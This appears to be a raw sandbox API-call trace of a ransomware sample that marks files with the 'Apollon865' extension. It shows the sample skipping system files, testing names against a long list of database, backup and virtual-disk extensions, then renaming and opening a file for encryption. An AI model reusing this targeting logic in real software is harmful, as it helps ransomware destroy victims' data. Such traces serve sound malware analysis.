	[0078.179] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0078.179] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0078.179] CloseHandle (hObject=0x10c) returned 1
	[0078.179] CloseHandle (hObject=0x15c) returned 1
	[0078.179] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0078.179] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfc50 | out: hHeap=0x580000) returned 1
	[0078.179] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3390020 | out: hHeap=0x580000) returned 1
	[0078.180] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xfd789af0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd789af0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd822070, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x14c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.GROOVE.14.1033.hxn", cAlternateFileName="MSGROO~1.HXN")) returned 1
	[0078.180] lstrcmpiW (lpString1="MS.GROOVE.14.1033.hxn", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.180] lstrcmpiW (lpString1="MS.GROOVE.14.1033.hxn", lpString2="Apollon865.txt.exe") returned 1
	[0078.180] lstrcmpiW (lpString1="MS.GROOVE.14.1033.hxn", lpString2=".") returned 1
	[0078.180] lstrcmpiW (lpString1="MS.GROOVE.14.1033.hxn", lpString2="..") returned 1
	[0078.180] lstrcmpiW (lpString1="MS.GROOVE.14.1033.hxn", lpString2="windows") returned -1
	[0078.180] lstrcmpiW (lpString1="MS.GROOVE.14.1033.hxn", lpString2="bootmgr") returned 1
	[0078.180] lstrcmpiW (lpString1="MS.GROOVE.14.1033.hxn", lpString2="temp") returned -1
	[0078.180] lstrcmpiW (lpString1="MS.GROOVE.14.1033.hxn", lpString2="pagefile.sys") returned -1
	[0078.180] lstrcmpiW (lpString1="MS.GROOVE.14.1033.hxn", lpString2="boot") returned 1
	[0078.180] lstrcmpiW (lpString1="MS.GROOVE.14.1033.hxn", lpString2="ids.txt") returned 1
	[0078.180] lstrcmpiW (lpString1="MS.GROOVE.14.1033.hxn", lpString2="ntuser.dat") returned -1
	[0078.180] lstrcmpiW (lpString1="MS.GROOVE.14.1033.hxn", lpString2="perflogs") returned -1
	[0078.180] lstrcmpiW (lpString1="MS.GROOVE.14.1033.hxn", lpString2="MSBuild") returned -1
	[0078.180] lstrlenW (lpString="MS.GROOVE.14.1033.hxn") returned 21
	[0078.180] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft Help\\MS.GRAPH.14.1033.hxn") returned 54
	[0078.180] lstrcpyW (in: lpString1=0x119e64c, lpString2="MS.GROOVE.14.1033.hxn" | out: lpString1="MS.GROOVE.14.1033.hxn") returned="MS.GROOVE.14.1033.hxn"
	[0078.180] lstrlenW (lpString="MS.GROOVE.14.1033.hxn") returned 21
	[0078.180] lstrlenW (lpString="Apollon865") returned 10
	[0078.180] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0078.180] lstrlenW (lpString=".dll") returned 4
	[0078.180] lstrcmpiW (lpString1="MS.GROOVE.14.1033.hxn", lpString2=".dll") returned 1
	[0078.180] lstrlenW (lpString=".lnk") returned 4
	[0078.180] lstrcmpiW (lpString1="MS.GROOVE.14.1033.hxn", lpString2=".lnk") returned 1
	[0078.180] lstrlenW (lpString=".ini") returned 4
	[0078.180] lstrcmpiW (lpString1="MS.GROOVE.14.1033.hxn", lpString2=".ini") returned 1
	[0078.180] lstrlenW (lpString=".sys") returned 4
	[0078.180] lstrcmpiW (lpString1="MS.GROOVE.14.1033.hxn", lpString2=".sys") returned 1
	[0078.180] lstrlenW (lpString="MS.GROOVE.14.1033.hxn") returned 21
	[0078.180] lstrlenW (lpString="bak") returned 3
	[0078.180] lstrcmpiW (lpString1="hxn", lpString2="bak") returned 1
	[0078.180] lstrlenW (lpString="ba_") returned 3
	[0078.180] lstrcmpiW (lpString1="hxn", lpString2="ba_") returned 1
	[0078.181] lstrlenW (lpString="dbb") returned 3
	[0078.181] lstrcmpiW (lpString1="hxn", lpString2="dbb") returned 1
	[0078.181] lstrlenW (lpString="vmdk") returned 4
	[0078.181] lstrcmpiW (lpString1=".hxn", lpString2="vmdk") returned -1
	[0078.181] lstrlenW (lpString="rar") returned 3
	[0078.181] lstrcmpiW (lpString1="hxn", lpString2="rar") returned -1
	[0078.181] lstrlenW (lpString="zip") returned 3
	[0078.181] lstrcmpiW (lpString1="hxn", lpString2="zip") returned -1
	[0078.181] lstrlenW (lpString="tgz") returned 3
	[0078.181] lstrcmpiW (lpString1="hxn", lpString2="tgz") returned -1
	[0078.181] lstrlenW (lpString="vbox") returned 4
	[0078.181] lstrcmpiW (lpString1=".hxn", lpString2="vbox") returned -1
	[0078.181] lstrlenW (lpString="vdi") returned 3
	[0078.181] lstrcmpiW (lpString1="hxn", lpString2="vdi") returned -1
	[0078.181] lstrlenW (lpString="vhd") returned 3
	[0078.181] lstrcmpiW (lpString1="hxn", lpString2="vhd") returned -1
	[0078.181] lstrlenW (lpString="vhdx") returned 4
	[0078.181] lstrcmpiW (lpString1=".hxn", lpString2="vhdx") returned -1
	[0078.181] lstrlenW (lpString="avhd") returned 4
	[0078.181] lstrcmpiW (lpString1=".hxn", lpString2="avhd") returned -1
	[0078.181] lstrlenW (lpString="db") returned 2
	[0078.181] lstrcmpiW (lpString1="xn", lpString2="db") returned 1
	[0078.181] lstrlenW (lpString="db2") returned 3
	[0078.181] lstrcmpiW (lpString1="hxn", lpString2="db2") returned 1
	[0078.181] lstrlenW (lpString="db3") returned 3
	[0078.181] lstrcmpiW (lpString1="hxn", lpString2="db3") returned 1
	[0078.181] lstrlenW (lpString="dbf") returned 3
	[0078.181] lstrcmpiW (lpString1="hxn", lpString2="dbf") returned 1
	[0078.181] lstrlenW (lpString="mdf") returned 3
	[0078.181] lstrcmpiW (lpString1="hxn", lpString2="mdf") returned -1
	[0078.181] lstrlenW (lpString="mdb") returned 3
	[0078.181] lstrcmpiW (lpString1="hxn", lpString2="mdb") returned -1
	[0078.181] lstrlenW (lpString="sql") returned 3
	[0078.181] lstrcmpiW (lpString1="hxn", lpString2="sql") returned -1
	[0078.181] lstrlenW (lpString="sqlite") returned 6
	[0078.181] lstrcmpiW (lpString1="33.hxn", lpString2="sqlite") returned -1
	[0078.181] lstrlenW (lpString="sqlite3") returned 7
	[0078.182] lstrcmpiW (lpString1="033.hxn", lpString2="sqlite3") returned -1
	[0078.182] lstrlenW (lpString="sqlitedb") returned 8
	[0078.182] lstrcmpiW (lpString1="1033.hxn", lpString2="sqlitedb") returned -1
	[0078.182] lstrlenW (lpString="xml") returned 3
	[0078.182] lstrcmpiW (lpString1="hxn", lpString2="xml") returned -1
	[0078.182] lstrlenW (lpString="$er") returned 3
	[0078.182] lstrcmpiW (lpString1="hxn", lpString2="$er") returned 1
	[0078.182] lstrlenW (lpString="4dd") returned 3
	[0078.182] lstrcmpiW (lpString1="hxn", lpString2="4dd") returned 1
	[0078.182] lstrlenW (lpString="4dl") returned 3
	[0078.182] lstrcmpiW (lpString1="hxn", lpString2="4dl") returned 1
	[0078.182] lstrlenW (lpString="^^^") returned 3
	[0078.182] lstrcmpiW (lpString1="hxn", lpString2="^^^") returned 1
	[0078.182] lstrlenW (lpString="abs") returned 3
	[0078.182] lstrcmpiW (lpString1="hxn", lpString2="abs") returned 1
	[0078.182] lstrlenW (lpString="abx") returned 3
	[0078.182] lstrcmpiW (lpString1="hxn", lpString2="abx") returned 1
	[0078.182] lstrlenW (lpString="accdb") returned 5
	[0078.182] lstrcmpiW (lpString1="3.hxn", lpString2="accdb") returned -1
	[0078.182] lstrlenW (lpString="accdc") returned 5
	[0078.182] lstrcmpiW (lpString1="3.hxn", lpString2="accdc") returned -1
	[0078.182] lstrlenW (lpString="accde") returned 5
	[0078.182] lstrcmpiW (lpString1="3.hxn", lpString2="accde") returned -1
	[0078.182] lstrlenW (lpString="accdr") returned 5
	[0078.182] lstrcmpiW (lpString1="3.hxn", lpString2="accdr") returned -1
	[0078.182] lstrlenW (lpString="accdt") returned 5
	[0078.182] lstrcmpiW (lpString1="3.hxn", lpString2="accdt") returned -1
	[0078.182] lstrlenW (lpString="accdw") returned 5
	[0078.182] lstrcmpiW (lpString1="3.hxn", lpString2="accdw") returned -1
	[0078.182] lstrlenW (lpString="accft") returned 5
	[0078.182] lstrcmpiW (lpString1="3.hxn", lpString2="accft") returned -1
	[0078.182] lstrlenW (lpString="adb") returned 3
	[0078.182] lstrcmpiW (lpString1="hxn", lpString2="adb") returned 1
	[0078.182] lstrlenW (lpString="adb") returned 3
	[0078.182] lstrcmpiW (lpString1="hxn", lpString2="adb") returned 1
	[0078.182] lstrlenW (lpString="ade") returned 3
	[0078.182] lstrcmpiW (lpString1="hxn", lpString2="ade") returned 1
	[0078.183] lstrlenW (lpString="adf") returned 3
	[0078.183] lstrcmpiW (lpString1="hxn", lpString2="adf") returned 1
	[0078.183] lstrlenW (lpString="adn") returned 3
	[0078.183] lstrcmpiW (lpString1="hxn", lpString2="adn") returned 1
	[0078.183] lstrlenW (lpString="adp") returned 3
	[0078.183] lstrcmpiW (lpString1="hxn", lpString2="adp") returned 1
	[0078.183] lstrlenW (lpString="alf") returned 3
	[0078.183] lstrcmpiW (lpString1="hxn", lpString2="alf") returned 1
	[0078.183] lstrlenW (lpString="ask") returned 3
	[0078.183] lstrcmpiW (lpString1="hxn", lpString2="ask") returned 1
	[0078.183] lstrlenW (lpString="btr") returned 3
	[0078.183] lstrcmpiW (lpString1="hxn", lpString2="btr") returned 1
	[0078.183] lstrlenW (lpString="cat") returned 3
	[0078.183] lstrcmpiW (lpString1="hxn", lpString2="cat") returned 1
	[0078.183] lstrlenW (lpString="cdb") returned 3
	[0078.183] lstrcmpiW (lpString1="hxn", lpString2="cdb") returned 1
	[0078.183] lstrlenW (lpString="ckp") returned 3
	[0078.183] lstrcmpiW (lpString1="hxn", lpString2="ckp") returned 1
	[0078.183] lstrlenW (lpString="cma") returned 3
	[0078.183] lstrcmpiW (lpString1="hxn", lpString2="cma") returned 1
	[0078.183] lstrlenW (lpString="cpd") returned 3
	[0078.183] lstrcmpiW (lpString1="hxn", lpString2="cpd") returned 1
	[0078.183] lstrlenW (lpString="dacpac") returned 6
	[0078.183] lstrcmpiW (lpString1="33.hxn", lpString2="dacpac") returned -1
	[0078.183] lstrlenW (lpString="dad") returned 3
	[0078.183] lstrcmpiW (lpString1="hxn", lpString2="dad") returned 1
	[0078.183] lstrlenW (lpString="dadiagrams") returned 10
	[0078.183] lstrcmpiW (lpString1="4.1033.hxn", lpString2="dadiagrams") returned -1
	[0078.183] lstrlenW (lpString="daschema") returned 8
	[0078.183] lstrcmpiW (lpString1="1033.hxn", lpString2="daschema") returned -1
	[0078.183] lstrlenW (lpString="db-journal") returned 10
	[0078.183] lstrcmpiW (lpString1="4.1033.hxn", lpString2="db-journal") returned -1
	[0078.183] lstrlenW (lpString="db-shm") returned 6
	[0078.183] lstrcmpiW (lpString1="33.hxn", lpString2="db-shm") returned -1
	[0078.183] lstrlenW (lpString="db-wal") returned 6
	[0078.183] lstrcmpiW (lpString1="33.hxn", lpString2="db-wal") returned -1
	[0078.183] lstrlenW (lpString="dbc") returned 3
	[0078.183] lstrcmpiW (lpString1="hxn", lpString2="dbc") returned 1
	[0078.183] lstrlenW (lpString="dbs") returned 3
	[0078.184] lstrcmpiW (lpString1="hxn", lpString2="dbs") returned 1
	[0078.184] lstrlenW (lpString="dbt") returned 3
	[0078.184] lstrcmpiW (lpString1="hxn", lpString2="dbt") returned 1
	[0078.184] lstrlenW (lpString="dbv") returned 3
	[0078.184] lstrcmpiW (lpString1="hxn", lpString2="dbv") returned 1
	[0078.184] lstrlenW (lpString="dbx") returned 3
	[0078.184] lstrcmpiW (lpString1="hxn", lpString2="dbx") returned 1
	[0078.184] lstrlenW (lpString="dcb") returned 3
	[0078.184] lstrcmpiW (lpString1="hxn", lpString2="dcb") returned 1
	[0078.184] lstrlenW (lpString="dct") returned 3
	[0078.184] lstrcmpiW (lpString1="hxn", lpString2="dct") returned 1
	[0078.184] lstrlenW (lpString="dcx") returned 3
	[0078.184] lstrcmpiW (lpString1="hxn", lpString2="dcx") returned 1
	[0078.184] lstrlenW (lpString="ddl") returned 3
	[0078.184] lstrcmpiW (lpString1="hxn", lpString2="ddl") returned 1
	[0078.184] lstrlenW (lpString="dlis") returned 4
	[0078.184] lstrcmpiW (lpString1=".hxn", lpString2="dlis") returned -1
	[0078.184] lstrlenW (lpString="dp1") returned 3
	[0078.184] lstrcmpiW (lpString1="hxn", lpString2="dp1") returned 1
	[0078.184] lstrlenW (lpString="dqy") returned 3
	[0078.184] lstrcmpiW (lpString1="hxn", lpString2="dqy") returned 1
	[0078.184] lstrlenW (lpString="dsk") returned 3
	[0078.184] lstrcmpiW (lpString1="hxn", lpString2="dsk") returned 1
	[0078.184] lstrlenW (lpString="dsn") returned 3
	[0078.184] lstrcmpiW (lpString1="hxn", lpString2="dsn") returned 1
	[0078.184] lstrlenW (lpString="dtsx") returned 4
	[0078.184] lstrcmpiW (lpString1=".hxn", lpString2="dtsx") returned -1
	[0078.184] lstrlenW (lpString="dxl") returned 3
	[0078.184] lstrcmpiW (lpString1="hxn", lpString2="dxl") returned 1
	[0078.184] lstrlenW (lpString="eco") returned 3
	[0078.184] lstrcmpiW (lpString1="hxn", lpString2="eco") returned 1
	[0078.184] lstrlenW (lpString="ecx") returned 3
	[0078.184] lstrcmpiW (lpString1="hxn", lpString2="ecx") returned 1
	[0078.184] lstrlenW (lpString="edb") returned 3
	[0078.184] lstrcmpiW (lpString1="hxn", lpString2="edb") returned 1
	[0078.184] lstrlenW (lpString="epim") returned 4
	[0078.184] lstrcmpiW (lpString1=".hxn", lpString2="epim") returned -1
	[0078.184] lstrlenW (lpString="fcd") returned 3
	[0078.185] lstrcmpiW (lpString1="hxn", lpString2="fcd") returned 1
	[0078.185] lstrlenW (lpString="fdb") returned 3
	[0078.185] lstrcmpiW (lpString1="hxn", lpString2="fdb") returned 1
	[0078.185] lstrlenW (lpString="fic") returned 3
	[0078.185] lstrcmpiW (lpString1="hxn", lpString2="fic") returned 1
	[0078.185] lstrlenW (lpString="flexolibrary") returned 12
	[0078.185] lstrcmpiW (lpString1=".14.1033.hxn", lpString2="flexolibrary") returned -1
	[0078.185] lstrlenW (lpString="fm5") returned 3
	[0078.185] lstrcmpiW (lpString1="hxn", lpString2="fm5") returned 1
	[0078.185] lstrlenW (lpString="fmp") returned 3
	[0078.185] lstrcmpiW (lpString1="hxn", lpString2="fmp") returned 1
	[0078.185] lstrlenW (lpString="fmp12") returned 5
	[0078.185] lstrcmpiW (lpString1="3.hxn", lpString2="fmp12") returned -1
	[0078.185] lstrlenW (lpString="fmpsl") returned 5
	[0078.185] lstrcmpiW (lpString1="3.hxn", lpString2="fmpsl") returned -1
	[0078.185] lstrlenW (lpString="fol") returned 3
	[0078.185] lstrcmpiW (lpString1="hxn", lpString2="fol") returned 1
	[0078.185] lstrlenW (lpString="fp3") returned 3
	[0078.185] lstrcmpiW (lpString1="hxn", lpString2="fp3") returned 1
	[0078.185] lstrlenW (lpString="fp4") returned 3
	[0078.185] lstrcmpiW (lpString1="hxn", lpString2="fp4") returned 1
	[0078.185] lstrlenW (lpString="fp5") returned 3
	[0078.185] lstrcmpiW (lpString1="hxn", lpString2="fp5") returned 1
	[0078.185] lstrlenW (lpString="fp7") returned 3
	[0078.185] lstrcmpiW (lpString1="hxn", lpString2="fp7") returned 1
	[0078.185] lstrlenW (lpString="fpt") returned 3
	[0078.185] lstrcmpiW (lpString1="hxn", lpString2="fpt") returned 1
	[0078.185] lstrlenW (lpString="frm") returned 3
	[0078.185] lstrcmpiW (lpString1="hxn", lpString2="frm") returned 1
	[0078.185] lstrlenW (lpString="gdb") returned 3
	[0078.185] lstrcmpiW (lpString1="hxn", lpString2="gdb") returned 1
	[0078.185] lstrlenW (lpString="gdb") returned 3
	[0078.185] lstrcmpiW (lpString1="hxn", lpString2="gdb") returned 1
	[0078.185] lstrlenW (lpString="grdb") returned 4
	[0078.185] lstrcmpiW (lpString1=".hxn", lpString2="grdb") returned -1
	[0078.185] lstrlenW (lpString="gwi") returned 3
	[0078.185] lstrcmpiW (lpString1="hxn", lpString2="gwi") returned 1
	[0078.186] lstrlenW (lpString="hdb") returned 3
	[0078.186] lstrcmpiW (lpString1="hxn", lpString2="hdb") returned 1
	[0078.186] lstrlenW (lpString="his") returned 3
	[0078.186] lstrcmpiW (lpString1="hxn", lpString2="his") returned 1
	[0078.186] lstrlenW (lpString="ib") returned 2
	[0078.186] lstrcmpiW (lpString1="xn", lpString2="ib") returned 1
	[0078.186] lstrlenW (lpString="idb") returned 3
	[0078.186] lstrcmpiW (lpString1="hxn", lpString2="idb") returned -1
	[0078.186] lstrlenW (lpString="ihx") returned 3
	[0078.186] lstrcmpiW (lpString1="hxn", lpString2="ihx") returned -1
	[0078.186] lstrlenW (lpString="itdb") returned 4
	[0078.186] lstrcmpiW (lpString1=".hxn", lpString2="itdb") returned -1
	[0078.186] lstrlenW (lpString="itw") returned 3
	[0078.186] lstrcmpiW (lpString1="hxn", lpString2="itw") returned -1
	[0078.186] lstrlenW (lpString="jet") returned 3
	[0078.186] lstrcmpiW (lpString1="hxn", lpString2="jet") returned -1
	[0078.186] lstrlenW (lpString="jtx") returned 3
	[0078.186] lstrcmpiW (lpString1="hxn", lpString2="jtx") returned -1
	[0078.186] lstrlenW (lpString="kdb") returned 3
	[0078.186] lstrcmpiW (lpString1="hxn", lpString2="kdb") returned -1
	[0078.186] lstrlenW (lpString="kexi") returned 4
	[0078.186] lstrcmpiW (lpString1=".hxn", lpString2="kexi") returned -1
	[0078.186] lstrlenW (lpString="kexic") returned 5
	[0078.186] lstrcmpiW (lpString1="3.hxn", lpString2="kexic") returned -1
	[0078.186] lstrlenW (lpString="kexis") returned 5
	[0078.186] lstrcmpiW (lpString1="3.hxn", lpString2="kexis") returned -1
	[0078.186] lstrlenW (lpString="lgc") returned 3
	[0078.186] lstrcmpiW (lpString1="hxn", lpString2="lgc") returned -1
	[0078.186] lstrlenW (lpString="lwx") returned 3
	[0078.186] lstrcmpiW (lpString1="hxn", lpString2="lwx") returned -1
	[0078.186] lstrlenW (lpString="maf") returned 3
	[0078.186] lstrcmpiW (lpString1="hxn", lpString2="maf") returned -1
	[0078.186] lstrlenW (lpString="maq") returned 3
	[0078.186] lstrcmpiW (lpString1="hxn", lpString2="maq") returned -1
	[0078.186] lstrlenW (lpString="mar") returned 3
	[0078.186] lstrcmpiW (lpString1="hxn", lpString2="mar") returned -1
	[0078.186] lstrlenW (lpString="marshal") returned 7
	[0078.187] lstrcmpiW (lpString1="033.hxn", lpString2="marshal") returned -1
	[0078.187] lstrlenW (lpString="mas") returned 3
	[0078.187] lstrcmpiW (lpString1="hxn", lpString2="mas") returned -1
	[0078.187] lstrlenW (lpString="mav") returned 3
	[0078.187] lstrcmpiW (lpString1="hxn", lpString2="mav") returned -1
	[0078.187] lstrlenW (lpString="maw") returned 3
	[0078.187] lstrcmpiW (lpString1="hxn", lpString2="maw") returned -1
	[0078.187] lstrlenW (lpString="mdbhtml") returned 7
	[0078.187] lstrcmpiW (lpString1="033.hxn", lpString2="mdbhtml") returned -1
	[0078.187] lstrlenW (lpString="mdn") returned 3
	[0078.187] lstrcmpiW (lpString1="hxn", lpString2="mdn") returned -1
	[0078.187] lstrlenW (lpString="mdt") returned 3
	[0078.187] lstrcmpiW (lpString1="hxn", lpString2="mdt") returned -1
	[0078.187] lstrlenW (lpString="mfd") returned 3
	[0078.187] lstrcmpiW (lpString1="hxn", lpString2="mfd") returned -1
	[0078.187] lstrlenW (lpString="mpd") returned 3
	[0078.187] lstrcmpiW (lpString1="hxn", lpString2="mpd") returned -1
	[0078.187] lstrlenW (lpString="mrg") returned 3
	[0078.187] lstrcmpiW (lpString1="hxn", lpString2="mrg") returned -1
	[0078.187] lstrlenW (lpString="mud") returned 3
	[0078.187] lstrcmpiW (lpString1="hxn", lpString2="mud") returned -1
	[0078.187] lstrlenW (lpString="mwb") returned 3
	[0078.187] lstrcmpiW (lpString1="hxn", lpString2="mwb") returned -1
	[0078.187] lstrlenW (lpString="myd") returned 3
	[0078.187] lstrcmpiW (lpString1="hxn", lpString2="myd") returned -1
	[0078.187] lstrlenW (lpString="ndf") returned 3
	[0078.187] lstrcmpiW (lpString1="hxn", lpString2="ndf") returned -1
	[0078.187] lstrlenW (lpString="nnt") returned 3
	[0078.187] lstrcmpiW (lpString1="hxn", lpString2="nnt") returned -1
	[0078.187] lstrlenW (lpString="nrmlib") returned 6
	[0078.187] lstrcmpiW (lpString1="33.hxn", lpString2="nrmlib") returned -1
	[0078.187] lstrlenW (lpString="ns2") returned 3
	[0078.187] lstrcmpiW (lpString1="hxn", lpString2="ns2") returned -1
	[0078.187] lstrlenW (lpString="ns3") returned 3
	[0078.187] lstrcmpiW (lpString1="hxn", lpString2="ns3") returned -1
	[0078.187] lstrlenW (lpString="ns4") returned 3
	[0078.187] lstrcmpiW (lpString1="hxn", lpString2="ns4") returned -1
	[0078.187] lstrlenW (lpString="nsf") returned 3
	[0078.187] lstrcmpiW (lpString1="hxn", lpString2="nsf") returned -1
	[0078.188] lstrlenW (lpString="nv") returned 2
	[0078.188] lstrcmpiW (lpString1="xn", lpString2="nv") returned 1
	[0078.188] lstrlenW (lpString="nv2") returned 3
	[0078.188] lstrcmpiW (lpString1="hxn", lpString2="nv2") returned -1
	[0078.188] lstrlenW (lpString="nwdb") returned 4
	[0078.188] lstrcmpiW (lpString1=".hxn", lpString2="nwdb") returned -1
	[0078.188] lstrlenW (lpString="nyf") returned 3
	[0078.188] lstrcmpiW (lpString1="hxn", lpString2="nyf") returned -1
	[0078.188] lstrlenW (lpString="odb") returned 3
	[0078.188] lstrcmpiW (lpString1="hxn", lpString2="odb") returned -1
	[0078.188] lstrlenW (lpString="odb") returned 3
	[0078.188] lstrcmpiW (lpString1="hxn", lpString2="odb") returned -1
	[0078.188] lstrlenW (lpString="oqy") returned 3
	[0078.188] lstrcmpiW (lpString1="hxn", lpString2="oqy") returned -1
	[0078.188] lstrlenW (lpString="ora") returned 3
	[0078.188] lstrcmpiW (lpString1="hxn", lpString2="ora") returned -1
	[0078.188] lstrlenW (lpString="orx") returned 3
	[0078.188] lstrcmpiW (lpString1="hxn", lpString2="orx") returned -1
	[0078.188] lstrlenW (lpString="owc") returned 3
	[0078.188] lstrcmpiW (lpString1="hxn", lpString2="owc") returned -1
	[0078.188] lstrlenW (lpString="p96") returned 3
	[0078.188] lstrcmpiW (lpString1="hxn", lpString2="p96") returned -1
	[0078.188] lstrlenW (lpString="p97") returned 3
	[0078.188] lstrcmpiW (lpString1="hxn", lpString2="p97") returned -1
	[0078.188] lstrlenW (lpString="pan") returned 3
	[0078.188] lstrcmpiW (lpString1="hxn", lpString2="pan") returned -1
	[0078.188] lstrlenW (lpString="pdb") returned 3
	[0078.188] lstrcmpiW (lpString1="hxn", lpString2="pdb") returned -1
	[0078.188] lstrlenW (lpString="pdm") returned 3
	[0078.188] lstrcmpiW (lpString1="hxn", lpString2="pdm") returned -1
	[0078.188] lstrlenW (lpString="pnz") returned 3
	[0078.188] lstrcmpiW (lpString1="hxn", lpString2="pnz") returned -1
	[0078.188] lstrlenW (lpString="qry") returned 3
	[0078.188] lstrcmpiW (lpString1="hxn", lpString2="qry") returned -1
	[0078.188] lstrlenW (lpString="qvd") returned 3
	[0078.188] lstrcmpiW (lpString1="hxn", lpString2="qvd") returned -1
	[0078.188] lstrlenW (lpString="rbf") returned 3
	[0078.189] lstrcmpiW (lpString1="hxn", lpString2="rbf") returned -1
	[0078.189] lstrlenW (lpString="rctd") returned 4
	[0078.189] lstrcmpiW (lpString1=".hxn", lpString2="rctd") returned -1
	[0078.189] lstrlenW (lpString="rod") returned 3
	[0078.189] lstrcmpiW (lpString1="hxn", lpString2="rod") returned -1
	[0078.189] lstrlenW (lpString="rodx") returned 4
	[0078.189] lstrcmpiW (lpString1=".hxn", lpString2="rodx") returned -1
	[0078.189] lstrlenW (lpString="rpd") returned 3
	[0078.189] lstrcmpiW (lpString1="hxn", lpString2="rpd") returned -1
	[0078.189] lstrlenW (lpString="rsd") returned 3
	[0078.189] lstrcmpiW (lpString1="hxn", lpString2="rsd") returned -1
	[0078.189] lstrlenW (lpString="sas7bdat") returned 8
	[0078.189] lstrcmpiW (lpString1="1033.hxn", lpString2="sas7bdat") returned -1
	[0078.189] lstrlenW (lpString="sbf") returned 3
	[0078.189] lstrcmpiW (lpString1="hxn", lpString2="sbf") returned -1
	[0078.189] lstrlenW (lpString="scx") returned 3
	[0078.189] lstrcmpiW (lpString1="hxn", lpString2="scx") returned -1
	[0078.189] lstrlenW (lpString="sdb") returned 3
	[0078.189] lstrcmpiW (lpString1="hxn", lpString2="sdb") returned -1
	[0078.189] lstrlenW (lpString="sdc") returned 3
	[0078.189] lstrcmpiW (lpString1="hxn", lpString2="sdc") returned -1
	[0078.189] lstrlenW (lpString="sdf") returned 3
	[0078.189] lstrcmpiW (lpString1="hxn", lpString2="sdf") returned -1
	[0078.189] lstrlenW (lpString="sis") returned 3
	[0078.189] lstrcmpiW (lpString1="hxn", lpString2="sis") returned -1
	[0078.189] lstrlenW (lpString="spq") returned 3
	[0078.189] lstrcmpiW (lpString1="hxn", lpString2="spq") returned -1
	[0078.189] lstrlenW (lpString="te") returned 2
	[0078.189] lstrcmpiW (lpString1="xn", lpString2="te") returned 1
	[0078.189] lstrlenW (lpString="teacher") returned 7
	[0078.189] lstrcmpiW (lpString1="033.hxn", lpString2="teacher") returned -1
	[0078.189] lstrlenW (lpString="tmd") returned 3
	[0078.189] lstrcmpiW (lpString1="hxn", lpString2="tmd") returned -1
	[0078.189] lstrlenW (lpString="tps") returned 3
	[0078.189] lstrcmpiW (lpString1="hxn", lpString2="tps") returned -1
	[0078.189] lstrlenW (lpString="trc") returned 3
	[0078.190] lstrcmpiW (lpString1="hxn", lpString2="trc") returned -1
	[0078.190] lstrlenW (lpString="trc") returned 3
	[0078.190] lstrcmpiW (lpString1="hxn", lpString2="trc") returned -1
	[0078.190] lstrlenW (lpString="trm") returned 3
	[0078.190] lstrcmpiW (lpString1="hxn", lpString2="trm") returned -1
	[0078.190] lstrlenW (lpString="udb") returned 3
	[0078.190] lstrcmpiW (lpString1="hxn", lpString2="udb") returned -1
	[0078.190] lstrlenW (lpString="udl") returned 3
	[0078.190] lstrcmpiW (lpString1="hxn", lpString2="udl") returned -1
	[0078.190] lstrlenW (lpString="usr") returned 3
	[0078.190] lstrcmpiW (lpString1="hxn", lpString2="usr") returned -1
	[0078.190] lstrlenW (lpString="v12") returned 3
	[0078.190] lstrcmpiW (lpString1="hxn", lpString2="v12") returned -1
	[0078.190] lstrlenW (lpString="vis") returned 3
	[0078.190] lstrcmpiW (lpString1="hxn", lpString2="vis") returned -1
	[0078.190] lstrlenW (lpString="vpd") returned 3
	[0078.190] lstrcmpiW (lpString1="hxn", lpString2="vpd") returned -1
	[0078.190] lstrlenW (lpString="vvv") returned 3
	[0078.190] lstrcmpiW (lpString1="hxn", lpString2="vvv") returned -1
	[0078.190] lstrlenW (lpString="wdb") returned 3
	[0078.190] lstrcmpiW (lpString1="hxn", lpString2="wdb") returned -1
	[0078.190] lstrlenW (lpString="wmdb") returned 4
	[0078.190] lstrcmpiW (lpString1=".hxn", lpString2="wmdb") returned -1
	[0078.190] lstrlenW (lpString="wrk") returned 3
	[0078.190] lstrcmpiW (lpString1="hxn", lpString2="wrk") returned -1
	[0078.190] lstrlenW (lpString="xdb") returned 3
	[0078.190] lstrcmpiW (lpString1="hxn", lpString2="xdb") returned -1
	[0078.190] lstrlenW (lpString="xld") returned 3
	[0078.190] lstrcmpiW (lpString1="hxn", lpString2="xld") returned -1
	[0078.190] lstrlenW (lpString="xmlff") returned 5
	[0078.190] lstrcmpiW (lpString1="3.hxn", lpString2="xmlff") returned -1
	[0078.190] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft Help\\MS.GROOVE.14.1033.hxn.Apollon865") returned 66
	[0078.190] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.GROOVE.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.groove.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\MS.GROOVE.14.1033.hxn.Apollon865" (normalized: "c:\\users\\all users\\microsoft help\\ms.groove.14.1033.hxn.apollon865"), dwFlags=0x1) returned 1
	[0078.191] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.GROOVE.14.1033.hxn.Apollon865" (normalized: "c:\\users\\all users\\microsoft help\\ms.groove.14.1033.hxn.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0078.192] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=332) returned 1
